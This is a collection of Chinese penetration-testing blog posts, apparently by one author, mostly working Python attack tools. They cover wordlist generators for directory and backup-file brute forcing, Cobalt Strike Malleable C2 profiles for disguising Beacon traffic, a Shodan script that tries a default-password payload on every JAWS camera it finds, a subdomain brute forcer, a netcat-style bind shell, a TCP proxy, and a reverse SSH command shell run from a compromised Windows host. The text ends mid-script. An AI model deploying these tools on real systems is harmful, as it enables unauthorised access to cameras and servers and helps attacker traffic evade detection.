Len9f4n 发布的文章

0x01 前言

在渗透中,往往需要强大的字典来支持我们发现更多的安全隐患。如,登录时 用户名和密码的字典,可以帮助我们爆破登录进入后台。常用webshell名称字典,可以帮助我们来外部来发现别人的入侵痕迹 遗留木马。甚至一句话密码字典,可以在发现前人后门的基础上,帮助趁势而入。

总之字典的强大 往往可以提高我们的渗透成功率,尤其是在信息搜集缓解,帮助我们尽可能的发现更多攻击面。

0x02 随机字符串

在一些 ip + port 访问的服务中,很可能会直接访问到403状态的站点。尤其是在nginx或tomcat环境下,需要得知下级的目录才可以访问到真正的系统。这时,可以采用脚本来生成 固定位数的 目录字典 来尝试爆破访问,有一定几率发现其存在的业务系统,可增大攻击面。

Python3脚本,生成指定长度的字典:

import os
import itertools
import argparse

def getdictlist(minlength,maxlength,choices='0123456789'):
    """
    生成minlength~maxlength长度的字典,并返回列表
    """
    if choices is None:
        choices = '0123456789'
    keyslist = []
    for i in range(minlength,maxlength+1):
        #生成迭代器
        keyiter = itertools.product(choices,repeat=i)
        keys = [''.join(c)+'\n' for c in keyiter]
        keyslist.append(keys)
    print(f"[+] 已生成{minlength} ~ {maxlength} 位密码字典. ")
    return keyslist

def save_dict(keyslist,outfile):
    """
    保存密码字典到一个文件中
    """
    if outfile is None:
        homepath = os.path.expanduser('~')
        outfile = os.path.join(homepath,'test111.txt')
    else:
        outfile = os.path.abspath(outfile)
    with open(outfile,'w') as f:
        for keys in keyslist:
            f.writelines(keys)
    print(f"[+] 已保存密码字典到 {outfile}.")

def getargs():
    """
    获取命令参数
    """
    parser = argparse.ArgumentParser(description='用于生成指定长度的字符空间的字典')
    parser.add_argument('minlength',type=int,help='用于指定生成字典的最小位数')
    parser.add_argument('maxlength',type=int,help='用于指定生成字典的最大位数')
    parser.add_argument('-o','--outfile',help='生成字典的保存路径')
    parser.add_argument('-c','--choices',default='0123456789',help='指定用于字典生成的字符集合')
    return parser.parse_args()

def main():
    args = getargs()
    if args.minlength < args.maxlength :
        keyslist = getdictlist(args.minlength,args.maxlength,args.choices)
    else:
        keyslist = getdictlist(args.maxlength,args.minlength,args.choices)
    save_dict(keyslist,args.outfile)

if __name__ == "__main__":
    main()

该脚本比较简单,有两个知识点需要注意。

print(f"") 可以格式化输出一段字符串,输出结果中 {变量名称} 会被变量的值 替换。
itertools 是Python的内置库,提供了很多迭代对象的函数接口。itertools.product(choices,repeat=i) 生成一个迭代器,迭代器每次迭代会从choices提取i个字符的tuple,每个tuple中的元素为单个字符,迭代器会枚举所有可能的i个字符的组合。

>>> import itertools
>>> iter = itertools.product('abc',repeat=2)
>>> for i in iter:
... print(i)
... 
('a', 'a')
('a', 'b')
('a', 'c')
('b', 'a')
('b', 'b')
('b', 'c')
('c', 'a')
('c', 'b')
('c', 'c')
>>> 

[''.join(c)+'n' for c in keyiter] 会使用字符串的 join 方法将迭代生成的 tuple 中的字符连成字符串生成长度为 上述的 i 长度的密码。

61504801.png

这样就实现了 指定字符+指定长度的 字典生成脚本。再fuzz出目录即可

0x03 备份文件字典

主要利用三种信息进行组合拼接,生成字典:

  • 域名 及 子域名称
  • 日期 形如20190101
  • 备份文件常见后缀 .rar 等

Python3代码:

import time,datetime
import re
from functools import reduce
from urllib.parse import urlparse

bak_list = ['.bak','.rar','.tar.gz','.zip','.7z']

def get_domain_list(target):
    """
    根据域名,获取list
    """
    front_dict = []

    front_dict.append(target)
    if len(target.split('.')[:-2]) >= 1:
        front_dict.append('.'.join(target.split('.')[:-2]))
    else:
        pass
    return front_dict

def get_date_list():
    """
    生成形式如:20191209 格式元素 的list
    list中包含 20080101 - 当天的所有元素
    """
    middle_dict = []

    time_start = datetime.datetime.strptime('20190101','%Y%m%d')
    current = time.localtime()
    year,month,day = '{0:04d}'.format(current.tm_year),'{0:02d}'.format(current.tm_mon),'{0:02d}'.format(current.tm_mday)
    time_end = datetime.datetime.strptime(year + month + day,'%Y%m%d')
    i = 1
    while time_start <= time_end:
        middle_dict.append(time_start.strftime('%Y%m%d'))
        time_start += datetime.timedelta(days=1)

    return middle_dict
    
    
def lists_combination(lists):
    """
    将域名list、日期list和后缀list 进行排列组合,生成最终的集合
    """
    def comb(list1,list2):
        return ([str(i) + '' + str(j) for i in list1 for j in list2])

    return reduce(comb,lists) 

def save_dict(results):
    with open('./bak.txt','w') as f:
        for result in results:
            f.writelines(result + '\n')

def main():
    target = input('Please input the target website: ')
    lists = [get_domain_list(target),get_date_list(),bak_list]
    results = lists_combination(lists)
    save_dict(results)

if __name__ == "__main__":
    main()

知识点补充:

reduce() 函数会对参数序列中元素进行累积。 函数将一个数据集合(链表,元组等)中的所有数据进行下列操作:用传给 reduce 中的函数 function(有两个参数)先对集合中的第 1、2 个元素进行操作,得到的结果再与第三个数据用 function 函数运算,最后得到一个结果。

运行脚本,并指定 目标域名

$ Python3 gen_bak.py
Please input the target website: hehe.baidu.com

生成字典内容,如下所示

60666735.png

在以往SRC挖掘过程中,发现这种形式的备份较为常见。故此实现简单的脚本,代码写的略糙,这里主要表现思路。

0x04 总结

生成字典脚本 主要是熟练Python对 str及list的操作。字典生成的思路非常简单,但编写脚本的过程也遇到一点点坑,比如将三个list进行 组合,需要对Python的一些特性熟悉掌握。

0x05 参考学习

Python3生成密码字典
Python多个列表的排列组合

0x01 C&C Server

C&C 服务器的全称是 Command and Control Server,也称为C2服务器。C2 使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的,以对内部网络发动后续攻击。

不多介绍,关于C2的介绍详见《轻松理解什么是 C&C 服务器

0x02 Malleable C2

Malleable C2是Cobalt Strike中的很流弊的技术,体现了CS强大的扩展性。Malleable-C2-profile是一个配置文件,通过配置C2-profiles,可以控制并修改Beacon和Stager(传输器载荷)的通信流量特征,还可以设置有效的SSL证书等。

启动服务端时,需要指定配置文件

./teamserver [IP] [password] [/path/to/my.profile]

每个Cobalt Strike 实例在启动时 只能指定加载一个配置文件。若想配置多个,只能启动多个teamserver,然后用客户端去连接。

Profile 元素

若要创建profile文件,一般需要在配置文件中 包含以下的元素:

  • global options
  • https-certificate(可选)
  • http-get

    • client

      • metadata
    • server

      • output
  • http-post

    • client

      • id
      • output
    • server

      • output
    • http-stager

看起来需要定义的内容有很多,但这是可管理,有很多自定义选项的。

Beacon通讯流程

在配置C2前,还需要了解基础的Beacon通信流程:

在进入Beacon阶段后,被控机会向 团队服务器发送metadata。这个可以通过profile文件中的client部分中的http-get 来配置。
接下来Beacon会在指定的心跳时间,发送数据。如果teamsever在Beacon中 指定了命令或任务,那么在发送到 被控机后,会通过下一个请求将执行到结果发送给Server端。Teamserver的response请求,在profile文件的server中的http-get 配置。通常,被控主机执行结果,会通过POST请求 发送给server

76668516.png

简单的Profile示例

以下profile的部分配置,仿照的是 Etumbot APT 后门
代码源自https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/APT/etumbot.profile

set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
 
http-get {
    set uri "/image/";
    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
        header "Referer" "http://www.google.com";
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";
        metadata {
            netbios;
            append "-.jpg";
            uri-append;
        }
    }
 
    server {
        header "Content-Type" "img/jpg";
        header "Server" "Microsoft-IIS/6.0";
        header "X-Powered-By" "ASP.NET";
        output {
            base64;
            print;
        }
    }
}

启用teamserver时,指定该profile. 以上的配置定义了 Http的Get请求包的数据格式。
此时,Beacon的通信流量情况如下图

62408838.png

通过该profile定义的规则,流量看起来就很类似于Etumbot的特征。可以看到,起到了很好的加密效果

Profile语法简单分析

先看例子中的第1行:

set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

这是声明了一个global变量,定义了useragent,用来模拟浏览器的UA请求头。
再看client中的metadata的定义:

metadata {
    netbios;
    append "-.jpg";
    uri-append;
}

其作用是将 通讯的元数据,进行处理。配置了处理规则后,按此形式的加密 进行数据传输
数据处理过程 如下

63721895.png

然后接收端 也会将传输的流量按过程,接收并提取出来

61047455.png

这种从同一段profile配置定义,来转化和恢复数据的功能,是Malleable C2的神奇之处。而且很容易定义和编写。

检查Profile

在编写完一个profile后,往往需要先检查格式是否存在问题,才能使用。Cobtalt Strike的linux包中自带的c2link程序,可以用来检查profile的语法格式。 用法:

./c2link [path/to/my.profile]

除了使用c2link,还需要进行手工的测试,在测试系统上手动测试Beacon的所有功能。待全部测试通过,才适用于目标环境的使用。

0x03 总结

Malleable c2 profile主要用来定制流量规则,及Beacon的一些特征。根据目标机器存在的网络环境,主机存在的通信软件。可以仿造其中的通信软件的特征,进行流量的加密混淆。如,根据对方浏览器的实际版本,来伪造User-Agent,模拟真实的请求,以免被防御策略发现并告警处理。

这篇文章记录了最基础的Malleable C2配置知识,并简单介绍了Beacon的通信流程。了解了这些基础,再根据环境情形,才能实现定制化的Beacon。在一次针对目标的渗透中,可能每台主机、服务器,都有不同的流量特征,需要编写多个profile来进行伪造。

更详细的说明,可以参考官网介绍

0x04 参考

Malleable Command and Control
How to Write Malleable C2 Profiles for Cobalt Strike

0x01 Shodan

Shodan 是一个搜索引擎,但它与 Google 这种搜索网址的搜索引擎不同,Shodan 是用来搜索网络空间中在线设备的,你可以通过 Shodan 搜索指定的设备,或者搜索特定类型的设备,包括一些服务器 资产等

0x02 Shodan API

利用Shodan的接口,通过自编写的程序或者脚本,能很方便的自动化获取想要的数据。另外使用Api相比用浏览器访问Web,访问速度上来讲也要快很多。

Shodan的Api返回的格式是json格式,解析起来十分方便。

此外,Shodan官方还提供了十分详细的文档:https://shodan.readthedocs.io/en/latest/tutorial.html 来供开发者学习

0x03 使用API

准备工作

首先要获取Shodan api的key,进入登录账号进入MyAccount中即可看见API Key

利用Python来调用shodan的,还需要安装其提供的模块 使用pip来安装

pip3 install shodan

接下来就可以尝试编写脚本了

初步编写

刚开始拿Python3尝试调用api,发现出现异常 "Unable to parse JSON response"
切换到Python2.7版本后,可以正常使用了

# -*- coding:utf-8 -*-

import shodan

#定义Shodan Api Key
SHODAN_API_KEY = "人工马赛克"

api = shodan.Shodan(SHODAN_API_KEY)

try:
    results = api.search('www.baidu.com')
    print('Results found:{}'.format(results['total']))

    for result in results['matches']:
        print('{}'.format(result['ip_str']) + ':'+str(result['port']))
        print('====================')
        print(result['data'])
        print('')

except Exception as e:
    print(e)

执行结果

61408807.png

未付费的Key 默认只能获取100条结果。

简单应用

利用脚本来批量跑摄像头的弱口令(admin:123456)
简单代码实现:

# -*- coding:utf-8 -*-

import shodan
import requests

#定义Shodan Api Key
SHODAN_API_KEY = "手工马赛克"

api = shodan.Shodan(SHODAN_API_KEY)

def test_login(targets):
    headers = {
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36",
        "Connection":"close"
    }
    payload = "/cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22123456%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E"
    #success = 

    for target in targets:
        url = "http://"+target+payload
        try:
            res = requests.get(url).content.decode()
            if 'playback' in res:
                print('[+]' + target +' is vul!!!')
            else:
                print('[-]' + target +' is not vul.')
        except:
            pass


def main():
    targets = []
    try:
        results = api.search('JAWS')
        print('Results found:{}'.format(results['total']))

        for result in results['matches']:
            targets.append(result['ip_str']+':'+str(result['port']))

    except Exception as e:
        print(e)

    #弱口令测试
    test_login(targets)

if __name__ == "__main__":
    main()

没有使用并发,只是简单记录下ShodanAPI的使用方法.
运行后效果如下:

64371409.png

根据扫描结果,成功登录

73618585.png

0x04 后记

熟悉Api的使用后 再结合Shodan的语法 + 并发脚本,可以快速自动化定位一些想要的资产信息.

0x01 原理简介

从字典中加载子域名前缀的dict,组成子域名 并发起DNS查询
查看返回的DNS查询结果,若存在域名解析则记录,否则该子域名不存在

0x02 dnspython

dnspython是一个处理DNS的Python工具模块,支持查询、DNS动态更新、操作ZONE配置文件等功能。

安装

pip3 install dnspython

dnspython提供了大量的DNS处理方法,最常用的是域名查询。dnspython提供了一个DNS解析器类resolver,使用其 query 方法来实现域名的查询功能。

如获取域名IP:

>>> import dns.resolver
>>> domain = 'www.baidu.com'
>>> rsv = dns.resolver.Resolver()
>>> ans = rsv.query(domain,'A')
>>> for a in ans:
...      print(a.address)
... 
14.215.177.39
14.215.177.38

除了A记录外,还可以获取以下记录类型:

  • MX记录
  • NS记录
  • CNAME记录

更多用法 见dnspython文档

0x03 代码实现

用Python3实现简单的域名爆破脚本:

# -*- coding:utf-8 -*-

import dns.resolver
import threading
import queue
import optparse
import sys

queue = queue.Queue()
lock = threading.Lock()

class GetSubDomain(threading.Thread):
    """
    自定义线程类,用来爆破子域,并保存结果
    """
    def __init__(self,target,queue,outfile):
        threading.Thread.__init__(self)
        self.target = target
        self.queue = queue
        self.rsv = dns.resolver.Resolver()
        outfile = target + '.txt' if not outfile else outfile
        self.f = open('./output/' + outfile,'a+')
        self.ip_list = []

    def _scan(self):
        while not self.queue.empty():
            self.ip_list = []
            ips = None
            sub_domain = self.queue.get() + '.' + self.target
            for _ in range(3):
                try:
                    answers = self.rsv.query(sub_domain,'A')
                    if answers:
                        for answer in answers:
                            if answer.address not in self.ip_list:
                                self.ip_list.append(answer.address)
                except dns.resolver.NoNameservers as e:
                    break
                except Exception as e:
                    pass
            
            if len(self.ip_list) > 0:
                ips = ','.join(self.ip_list)
                msg = sub_domain.ljust(30) + ips + '\n' #ljust 左对齐
                lock.acquire()
                print(msg.replace('\n',''))
                self.f.write(msg)
                lock.release()
            self.queue.task_done()

    def run(self):
        self._scan()

"""
从文本中,读取多个要爆破的域名
"""
def get_target(domain_list):
    targets = []
    with open(domain_list,'r') as f:
        for line in f:
            targets.append(line.strip())
    return targets


"""
添加所有子域字典到queue
"""
def get_sub_queue(sub_file):
    with open(sub_file,'r') as f:
        for line in f:
            queue.put(line.strip())


def main():
    parser = optparse.OptionParser()
    parser.add_option('-u','--url',dest='url',type='string',help='Get a single top-level domain.')
    parser.add_option('-l','--list',dest='domain_list',type='string',help='Top-level domains list.')
    parser.add_option('-f','--file',dest='sub_file',default='sub.txt',type='string',help='dict file used to brute sub domains.')
    parser.add_option('-t','--threads',dest='threads_num',default=50,type='int',help='Number of threads,default=50.')
    parser.add_option('-o','--outfile',dest='outfile',default=None,type='string',help='Outfile file name. default is {target}.txt')

    (options,args) = parser.parse_args()

    if options.url:
        urls = [options.url]
    elif options.domain_list:
        urls = get_target(options.domain_list)
    else:
        parser.print_help()
        print("Example:")
        print("python3 %s -u baidu.com" % sys.argv[0])
        print("python3 %s -l domain.txt -f sub.txt -t 50 " % sys.argv[0])
        sys.exit(0)

    for url in urls:
        get_sub_queue(options.sub_file) #添加子域字典至queue
        for x in range(0,options.threads_num):
            t = GetSubDomain(url,queue,options.outfile)
            t.setDaemon(True) #主线程执行结束时,不管子线程是否执行完毕都一并退出
            t.start()
        queue.join() # 等待队列为空,再执行后续操作

if __name__ == "__main__":
    main()

同目录下创建sub.txt,简单添加几个子域

49764916.png

执行效果如下

49746821.png

总结:
子域名爆破主要是利用DNS查询解析的IP,若存在解析则认定为子域名存在。
但是,对于有泛解析等情况的子域名查询 还需对代码再进行完善。

关于子域搜集,lijiejie和猪猪侠都写了很完善的工具,有时间的话定会阅读学习一下。

0x04 参考

Python爆破二级域名
DNS处理模块dnspython

0x00 前言

最近打算系统的再学习下Python,毕竟实际的渗透工作中 拥有一定的工具编写能力还是十分必要的。而且另一方面,在学习代码的同时,也可以巩固很多基础知识,了解更多的细节。
花了一周刷完廖雪峰的Python3教程后,刚好想简单写点什么练练手。瞥见了书架上的已经落灰的《Python黑帽子》,买来也一直没有读过,于是决定从它开始。书中的案例全都是python2.x版本,我这里决定改用3.x来实现,并记录学习过程中遇到的问题和坑。

0x01 取代Netcat

Python3代码:


import sys
import socket
import getopt
import threading
import subprocess

#定义一些全局变量
listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = ''

#打印出该工具的使用说明
def usage():
    print("Blackhat Python tools")
    print()
    print("Usage:bhpnet.py -t target_host -p port")
    print("-l --listen - listen on [host]:[port] for incoming connections")
    print("-e --execute=file_to_run - execute the given file upon receiving a connection")
    print("-c --command - initialize a command shell")
    print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")
    print()
    print()
    print("Examples: ")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"")
    print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.0.1 -p 135 ")
    #正常退出python程序
    sys.exit(0)

#该函数用来通过TCP连接发送数据
def client_sender(buffer):
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        #连接到目标主机
        client.connect((target,port))
        if len(buffer):
            print(buffer)
            client.send(buffer.encode())
            
        while True:
            #等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096).decode()
                recv_len = len(data)
                response += data
                # 接收完最后的数据部分,跳出循环
                if recv_len < 4096:
                    break
            print(response,end=" ")

            #等待更多的输入并发送
            buffer = input('')
            buffer += "\n"
            client.send(buffer.encode())
    except:
        print("[*] Exception! Exiting...")
    #关闭TCP连接
    client.close()

#服务器端主循环
def server_loop():
    global target
    #若没有定义target,则监听所有网卡接口
    if not len(target):
        target = '0.0.0.0'
    
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind((target,port))
    server.listen(5)

    while True:
        client_socket,addr = server.accept()
        #创建一个线程 处理新的客户端连接
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()

#执行命令函数
def run_command(command):
    #去换行符
    command = command.rstrip()
    #运行命令并返回结果
    try:
        output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
    except:
        output = "Failed to execute command.\r\n".encode()
    return output

#服务端功能:文件上传、命令执行以及shell相关的功能
def client_handler(client_socket):
    global upload
    global upload_destination
    global command

    #检查文件上传 
    if len(upload_destination):
        file_buffer = ""
        #持续读取数据 直到完成
        while True:
            data = client_socket.recv(1024).decode()
            if not data:
                break
            else:
                file_buffer += data
        #把接收到的数据 写入文件
        try:
            file_descriptor = open(upload_destination,'wb')
            file_descriptor.write(file_buffer.encode())
            file_descriptor.close()
            
            client_socket.send(("Successfully saved file to %s \r\n" % upload_destination).encode())
        except:
            client_socket.send(("Failed to save file to %s \r\n" % upload_destination).encode())
        
    #检查命令执行
    if len(execute):
        #运行命令
        output = run_command(execute)
        #print(output)
        client_socket.send(output)

    #若需要一个命令行shell,则进入另一个循环
    if command:
        while True:

            client_socket.send(b'<BHP:#>')
            #接收命令
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += bytes.decode(client_socket.recv(1024))
                #返回命令执行的结果
                response = run_command(cmd_buffer)
                client_socket.send(response)
            

#主函数
def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target
    #global upload

    #无参数时,打印说明
    if not len(sys.argv[1:]):
        usage()
    #读取命令行选项
    try:
        opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen",
        "execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print(str(err))
        usage()

    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ("-e","--execute"):
            execute = a
        elif o in ("-c","--command"):
            command = True
        elif o in ("-u","--upload"):
            upload_destination = a
            print(a)
        elif o in ("-t","--target"):
            target = a
        elif o in ("-p","--port"):
            port=int(a)
        else:
            assert False,"Unhandled Option"

    #判断是进行监听还是仅从标准输入发送数据
    if not listen and len(target) and port > 0:
        #从命令行读取内存数据
        #这里将阻塞,所以在不向标准输入发送数据时,发送CTRL+D
        buffer = sys.stdin.read()
        #发送数据
        client_sender(buffer)

    #开始监听,准备进入下一步操作 如上传文件、进入交互式shell、执行命令...
    if listen:
        server_loop()
    


if __name__ == '__main__':
    main()
    

看下程序的效果,首先在服务端执行

$ python3 bhnet.py -l -p 6666

客户端执行如下命令,然后control+D 进入shell

$ python3 bhnet.py -t 127.0.0.1 -p 6666

81446378.png

也可以直接利用此脚本,发送HTTP请求,效果如下:

81768240.png

其它参数对应功能效果,暂略...

0x02 创建一个TCP代理

Python3代码,如下所示

import sys
import socket
import threading

def server_loop(local_host,local_port,remote_host,remote_port,receive_first):
    
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:
        server.bind((local_host,local_port))
    except:
        print("[!!] Failed to listen on %s:%d" % (local_host,local_port))
        print("[!!] Check for other listening sockets or correct premissions.")
        sys.exit(0)

    print("[*] Listening on %s:%d" % (local_host,local_port))
    
    server.listen(5)

    while True:
        client_socket,addr = server.accept()
        #打印出socket连接信息
        print("[==>] Received incoming connection from %s:%d" % (addr[0],addr[1]))
        #开启一个线程与远程主机通信
        proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))
        proxy_thread.start()

def proxy_handler(client_socket,remote_host,remote_port,receive_first):
    #连接远程主机
    remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    remote_socket.connect((remote_host,remote_port))

    #如果必要 从远程主机获取数据
    if receive_first:
        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)
        #发送给响应处理
        remote_buffer = response_handler(remote_buffer)
        #如果有数据传递给本地客户端,发送它
        if len(remote_buffer):
            print("[<==] Sending %s bytes to localhost." % len(remote_buffer))
            client_socket.send(remote_buffer.encode())

    while True:
        local_buffer = receive_from(client_socket)
        if len(local_buffer):
            print("[==>] Received %d bytes from localhost." % len(local_buffer))
            hexdump(local_buffer)
            
            local_buffer = request_handler(local_buffer)

            remote_socket.send(local_buffer.encode())
            print("[==>] Send to remote.")
        
        #接收响应数据 
        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):
            print("[<==] Received %d bytes from remote." % len(remote_buffer))
            hexdump(remote_buffer)

            remote_buffer = response_handler(remote_buffer)

            client_socket.send(remote_buffer.encode())
            print("[<==] Sent to localhost.")

        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print("[*] No more data. Closing Connections")
            break
        
def hexdump(src,length=16):
    result = []
    digits = 2 if isinstance(src,str) else 4

    for i in range(0,len(src),length):
        s = src[i:i+length]
        hexa = ' '.join(["%0*X" % (digits,ord(x)) for x in s])
        text = ''.join([x if 0x20 <= ord(x) < 0x7F else '.' for x in s])
        result.append('%04X %-*s %s' % (i,length*(digits + 1),hexa,text) )
    print('\n'.join(result))

def receive_from(connection):
    buffer = ""
    #超时2秒
    connection.settimeout(9)
    try:
        while True:
            data = connection.recv(4096).decode()
            if not data:
                break
            buffer += data
    except:
        pass
    return buffer

def request_handler(buffer):
    return buffer

def response_handler(buffer):
    return buffer


def main():
    #命令行用法
    if len(sys.argv[1:]) != 5:
        print("Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]")
        print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
        sys.exit(0)

    #设置本地监听参数
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    #设置远程目标参数
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    #告诉代理:在发送给远程主机前 连接和接收数据
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    server_loop(local_host,local_port,remote_host,remote_port,receive_first)


if __name__ == "__main__":
    main()

注意:Python3中不存在unicode类,可以用str代替,str默认为unicode编码. hexdump函数,需要修改如下

digits = 2 if isinstance(src,str) else 4

另外,python3.x没有xrange,可以用range()代替。修改了部分代码,以完成bytes和str转化。

hexdump()函数主要作用是:把一段字符串数据用3列进行表示。
第一列是用16进制表示的字符串位置索引,第二列是16进制表示的字节,第三列是ASCII编码表示的字符串。
对这段代码理解,主要是要搞懂字符编码和格式化打印 两个知识点。

74107393.png

先看打印结果,格式如:

0000 32 32 30 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 20 57 65 220---------- We
0010 6C 63 6F 6D 65 20 74 6F 20 50 75 72 65 2D 46 54 lcome to Pure-FT

字符编码:Python3下,文本字符和二进制字符区分的很明确,分别用str和bytes表示。文本字符全部用str类型表示,str能表示unicode字符中所有字符。而二进制字节数据用一种全新的类型,bytes来表示。

格式化打印:该代码段中涉及了 %0*X , %04X , %-*s 三种格式

  • %04X 代表输入一个数字,按16进制打印,4字节对齐,前面补0
  • %-*s 代表输入一个字符串,-号表示左对齐、后补空白,*表示对齐宽度由输入时确定.(这里由 length*(digits + 1) 来确定)
  • %0*X 代表输入一个数字,按16进制打印,*表示对齐宽度由输入的digits决定.

这样,再读上述的代码就很清晰了。ord()函数,以一个字符作为参数,返回其ASCII数值。
另外,ascii字符集由95个可打印字符(0x20-0x7e),所以当ord(x)不在这个范围时,为不可见字符。

利用nc 连接TCP代理的端口,效果如下
TCP代理脚本会和目标建立主机的目标端口建立连接 127.0.0.1:8888 <==> target:ip

66703299.png

TCP代理服务器,打印出抓到的流量,效果如下

69666470.png

在目标环境,没有wireshark工具这样现成的条件,写一个这样的脚本来实现其简要的功能,是一个很好的思路方法。尤其是用来分析网络数据,可以发现协议、账号、口令等信息。

0x03 通过Paramiko使用SSH

有时候需要通过加密流量来绕过检测,最常用的方法就是使用SSH发送流量。
在Python中,使用Paramiko库的PyCrypto能够轻松的使用SSH2协议。

安装Paramiko

pip3 install paramiko

一段简单的代码模拟SSH登录 并执行一条系统命令:

import threading
import paramiko
import subprocess

def ssh_command(ip,user,passwd,command):
    client = paramiko.SSHClient()

    #可以支持密钥认证来代替账号口令验证
    #client.load_host_keys('/Users/lengfan/.ssh/know_hosts')
    #AutoAddPolicy 自动添加key到本地
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip,username=user,password=passwd)
    ssh_session = client.get_transport().open_session()

    if ssh_session.active:
        ssh_session.exec_command(command)
        print(ssh_session.recv(1024).decode())
    return

ssh_command('192.168.11.111','root','passwd','pwd')

运行结果如下,成功打印命令执行的结果:

$ python3 sshcmd.py 
/root

接着修改脚本,实现可以通过SSH协议,在Windows上运行多条命令并返回结果。
由于Windows本身一般都没有安装ssh服务,所以需要反向将命令从ssh服务端,发送给ssh客户端
即:ssh客户端运行于被控的windows系统上,主动向攻击者的监听的ssh服务端建立连接,攻击者从ssh服务端输入指定,发送给windows并接收返回结果。

Python3版代码如下:

客户端

bh_sshRcmd.py

import threading
import paramiko
import subprocess
import sys

"""
ssh客户端
"""

def ssh_command(ip,port,user,passwd,command):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip,port=port,username=user,password=passwd)
    #实例化Transport 并建立会话session
    ssh_session = client.get_transport().open_session()

    if ssh_session.active:
        ssh_session.send(command)
        print(ssh_session.recv(1024)) #获取banner信息
        while True:
            command = ssh_session.recv(1024).decode(encoding="GB2312") #获取ssh服务端命令,GB2312支持中文
            try:
                #执行命令,并返回结果给SSH服务端
                cmd_output = subprocess.check_output(command,shell=True)
                #print('2')
                ssh_session.send(cmd_output)
            except Exception as e:#写法与python2有差异
                ssh_session.send(str(e))
        client.close()
    return

ip = sys.argv[1]
port = int(sys.argv[2])

try:
    ssh_command(ip,port,'test666','test666','ClientConnected')
except Exception as e:
    print(str(e))

最后加了try...except 来捕获异常,避免了输入exit后 断开连接后产生的报错。
要连接的服务端ip和port可通过传参接收

服务端

bh_sshserver.py

import socket
import paramiko
import threading
import sys

"""
SSH服务端
"""

#使用密钥证书
host_key = paramiko.RSAKey(filename='rsa_private_key.pem')

class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self,kind,chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self,username,password):
        if (username == 'test666') and (password == 'test666'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

server = sys.argv[1]
ssh_port = int(sys.argv[2])

try:
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    #SOL_SOCKET:通用套接字选项.如果想要在套接字级别上设置选项,就必须把level设置为SOL_SOCKET
    #SO_REUSEADDR允许同一port上启动同一服务器的多个实例(多个进程)
    sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

    sock.bind((server,ssh_port))
    sock.listen(100)
    print("[+] Listening for connection...")
    client,addr = sock.accept()
except Exception as e:
    print("[-] Listen failed:" + str(e))
    sys.exit(1) #有错误退出
print("[+] Got a connection!")

try:
    #用sock.accept返回的client来实例化Transport
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    
    try:
        #启动ssh服务端
        bhSession.start_server(server=server)
    except paramiko.SSHException as e:
        print("[-] SSH negotiation failed.")
    chan = bhSession.accept(20)
    print("[+] Authenticated!")
    print(chan.recv(1024))
    chan.send('Welcome to bh_ssh')

    while True:
        try:
            command = input("Enter command: ").strip('\n')
            if command != 'exit':
                chan.send(command.encode(encoding="GB2312")) #编码方式选择GB2312支持中文,防止乱码
                print(chan.recv(4096).decode(encoding="GB2312",errors="ignore")) 
            else:
                chan.send('exit'.encode(encoding="GB2312"))
                print('Exiting')
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception as e:
